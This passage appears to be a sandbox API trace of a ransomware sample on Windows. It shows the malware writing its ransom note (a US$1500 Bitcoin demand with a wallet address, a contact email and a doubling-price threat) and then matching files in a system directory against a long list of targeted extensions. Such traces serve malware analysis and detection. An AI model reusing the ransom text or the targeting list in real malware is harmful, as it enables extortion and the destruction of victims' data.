dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.602] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.602] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.604] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.604] CloseHandle (hObject=0x90) returned 1 [0100.604] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\", lpString2="NAPINIT.DLL" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL" [0100.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.ems") returned 0 [0100.604] lstrlenA (lpString="*.ems") returned 5 [0100.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.db") returned 0 [0100.604] lstrlenA (lpString="*.db") returned 4 [0100.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.dbf") returned 0 [0100.604] lstrlenA (lpString="*.dbf") returned 5 [0100.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.myox") returned 0 [0100.604] lstrlenA (lpString="*.myox") returned 6 [0100.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.myo") returned 0 [0100.604] lstrlenA (lpString="*.myo") returned 5 [0100.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qbw") returned 0 [0100.605] lstrlenA (lpString="*.qbw") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qbb") returned 0 [0100.605] lstrlenA (lpString="*.qbb") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qbm") returned 0 [0100.605] lstrlenA (lpString="*.qbm") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qbo") returned 0 [0100.605] lstrlenA (lpString="*.qbo") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qbx") returned 0 [0100.605] lstrlenA (lpString="*.qbx") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qba") returned 0 [0100.605] lstrlenA (lpString="*.qba") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qby") returned 0 [0100.605] lstrlenA (lpString="*.qby") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qbj") returned 0 [0100.605] lstrlenA (lpString="*.qbj") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.ofx") returned 0 [0100.605] lstrlenA (lpString="*.ofx") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.qif") returned 0 [0100.605] lstrlenA (lpString="*.qif") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.mye") returned 0 [0100.605] lstrlenA (lpString="*.mye") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.mbox") returned 0 [0100.605] lstrlenA (lpString="*.mbox") returned 6 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.eml") returned 0 [0100.605] lstrlenA (lpString="*.eml") returned 5 [0100.605] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.pst") returned 0 [0100.605] lstrlenA (lpString="*.pst") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.ost") returned 0 [0100.606] lstrlenA (lpString="*.ost") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.idx") returned 0 [0100.606] lstrlenA (lpString="*.idx") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.dbx") returned 0 [0100.606] lstrlenA (lpString="*.dbx") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.sql") returned 0 [0100.606] lstrlenA (lpString="*.sql") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.mdb") returned 0 [0100.606] lstrlenA (lpString="*.mdb") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.fdb") returned 0 [0100.606] lstrlenA (lpString="*.fdb") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.wab") returned 0 [0100.606] lstrlenA (lpString="*.wab") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.dat") returned 0 [0100.606] lstrlenA (lpString="*.dat") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.txt") returned 0 [0100.606] lstrlenA (lpString="*.txt") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.jpeg") returned 0 [0100.606] lstrlenA (lpString="*.jpeg") returned 6 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.jpg") returned 0 [0100.606] lstrlenA (lpString="*.jpg") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.png") returned 0 [0100.606] lstrlenA (lpString="*.png") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.php") returned 0 [0100.606] lstrlenA (lpString="*.php") returned 5 [0100.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.cs") returned 0 [0100.607] lstrlenA (lpString="*.cs") returned 4 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.cpp") returned 0 [0100.607] lstrlenA (lpString="*.cpp") returned 5 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.rar") returned 0 [0100.607] lstrlenA (lpString="*.rar") returned 5 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.zip") returned 0 [0100.607] lstrlenA (lpString="*.zip") returned 5 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.html") returned 0 [0100.607] lstrlenA (lpString="*.html") returned 6 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.htm") returned 0 [0100.607] lstrlenA (lpString="*.htm") returned 5 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.xlsx") returned 0 [0100.607] lstrlenA (lpString="*.xlsx") returned 6 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.xls") returned 0 [0100.607] lstrlenA (lpString="*.xls") returned 5 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.mp4") returned 0 [0100.607] lstrlenA (lpString="*.mp4") returned 5 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.ppt") returned 0 [0100.607] lstrlenA (lpString="*.ppt") returned 5 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.pptx") returned 0 [0100.607] lstrlenA (lpString="*.pptx") returned 6 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.doc") returned 0 [0100.607] lstrlenA (lpString="*.doc") returned 5 [0100.607] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.dot") returned 0 [0100.608] lstrlenA (lpString="*.dot") returned 5 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.docx") returned 0 [0100.608] lstrlenA (lpString="*.docx") returned 6 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.7z") returned 0 [0100.608] lstrlenA (lpString="*.7z") returned 4 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.tar") returned 0 [0100.608] lstrlenA (lpString="*.tar") returned 5 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.bz2") returned 0 [0100.608] lstrlenA (lpString="*.bz2") returned 5 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.gz") returned 0 [0100.608] lstrlenA (lpString="*.gz") returned 4 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.mkv") returned 0 [0100.608] lstrlenA (lpString="*.mkv") returned 5 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.eml") returned 0 [0100.608] lstrlenA (lpString="*.eml") returned 5 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.msg") returned 0 [0100.608] lstrlenA (lpString="*.msg") returned 5 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.edb") returned 0 [0100.608] lstrlenA (lpString="*.edb") returned 5 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.accdb") returned 0 [0100.608] lstrlenA (lpString="*.accdb") returned 7 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.odb") returned 0 [0100.608] lstrlenA (lpString="*.odb") returned 5 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.java") returned 0 [0100.608] lstrlenA (lpString="*.java") returned 6 [0100.608] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.asm") returned 0 [0100.609] lstrlenA (lpString="*.asm") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.pfx") returned 0 [0100.609] lstrlenA (lpString="*.pfx") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.pem") returned 0 [0100.609] lstrlenA (lpString="*.pem") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.p12") returned 0 [0100.609] lstrlenA (lpString="*.p12") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.gpg") returned 0 [0100.609] lstrlenA (lpString="*.gpg") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.vsd") returned 0 [0100.609] lstrlenA (lpString="*.vsd") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.odg") returned 0 [0100.609] lstrlenA (lpString="*.odg") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.raw") returned 0 [0100.609] lstrlenA (lpString="*.raw") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.nef") returned 0 [0100.609] lstrlenA (lpString="*.nef") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.svg") returned 0 [0100.609] lstrlenA (lpString="*.svg") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.psd") returned 0 [0100.609] lstrlenA (lpString="*.psd") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.vmx") returned 0 [0100.609] lstrlenA (lpString="*.vmx") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.vmdk") returned 0 [0100.609] lstrlenA (lpString="*.vmdk") returned 6 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.vdi") returned 0 [0100.609] lstrlenA (lpString="*.vdi") returned 5 [0100.609] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.lay6") returned 0 [0100.610] lstrlenA (lpString="*.lay6") returned 6 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.mpeg") returned 0 [0100.610] lstrlenA (lpString="*.mpeg") returned 6 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.djvu") returned 0 [0100.610] lstrlenA (lpString="*.djvu") returned 6 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.tiff") returned 0 [0100.610] lstrlenA (lpString="*.tiff") returned 6 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.backup") returned 0 [0100.610] lstrlenA (lpString="*.backup") returned 8 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.pdf") returned 0 [0100.610] lstrlenA (lpString="*.pdf") returned 5 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.cert") returned 0 [0100.610] lstrlenA (lpString="*.cert") returned 6 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.docm") returned 0 [0100.610] lstrlenA (lpString="*.docm") returned 6 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.xlsm") returned 0 [0100.610] lstrlenA (lpString="*.xlsm") returned 6 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.dwg") returned 0 [0100.610] lstrlenA (lpString="*.dwg") returned 5 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.nd") returned 0 [0100.610] lstrlenA (lpString="*.nd") returned 4 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.tlg") returned 0 [0100.610] lstrlenA (lpString="*.tlg") returned 5 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.lgb") returned 0 [0100.610] lstrlenA (lpString="*.lgb") returned 5 [0100.610] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.mov") returned 0 [0100.610] lstrlenA (lpString="*.mov") returned 5 [0100.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.xdw") returned 0 [0100.611] lstrlenA (lpString="*.xdw") returned 5 [0100.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.ods") returned 0 [0100.611] lstrlenA (lpString="*.ods") returned 5 [0100.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.wav") returned 0 [0100.611] lstrlenA (lpString="*.wav") returned 5 [0100.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.mp3") returned 0 [0100.611] lstrlenA (lpString="*.mp3") returned 5 [0100.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.aiff") returned 0 [0100.611] lstrlenA (lpString="*.aiff") returned 6 [0100.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.flac") returned 0 [0100.611] lstrlenA (lpString="*.flac") returned 6 [0100.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.m4a") returned 0 [0100.611] lstrlenA (lpString="*.m4a") returned 5 [0100.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\NAPINIT.DLL", pszSpec="*.csv") returned 0 [0100.611] lstrlenA (lpString="*.csv") returned 5 [0100.611] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2cce249, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xb1b14900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x6c3d1a25, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="NAPINIT.DLL", cAlternateFileName="")) returned 0 [0100.611] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.611] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0100.611] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.611] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x690070, cFileName="napinit.resources", cAlternateFileName="NAPINI~1.RES")) returned 1 [0100.611] lstrcmpA (lpString1=".", lpString2="napinit.resources") returned -1 [0100.612] lstrcmpA (lpString1="..", lpString2="napinit.resources") returned -1 [0100.612] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.612] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="napinit.resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources" [0100.612] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources") returned 46 [0100.612] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napinit.resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.612] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.612] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.612] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.612] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.613] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 1 [0100.613] 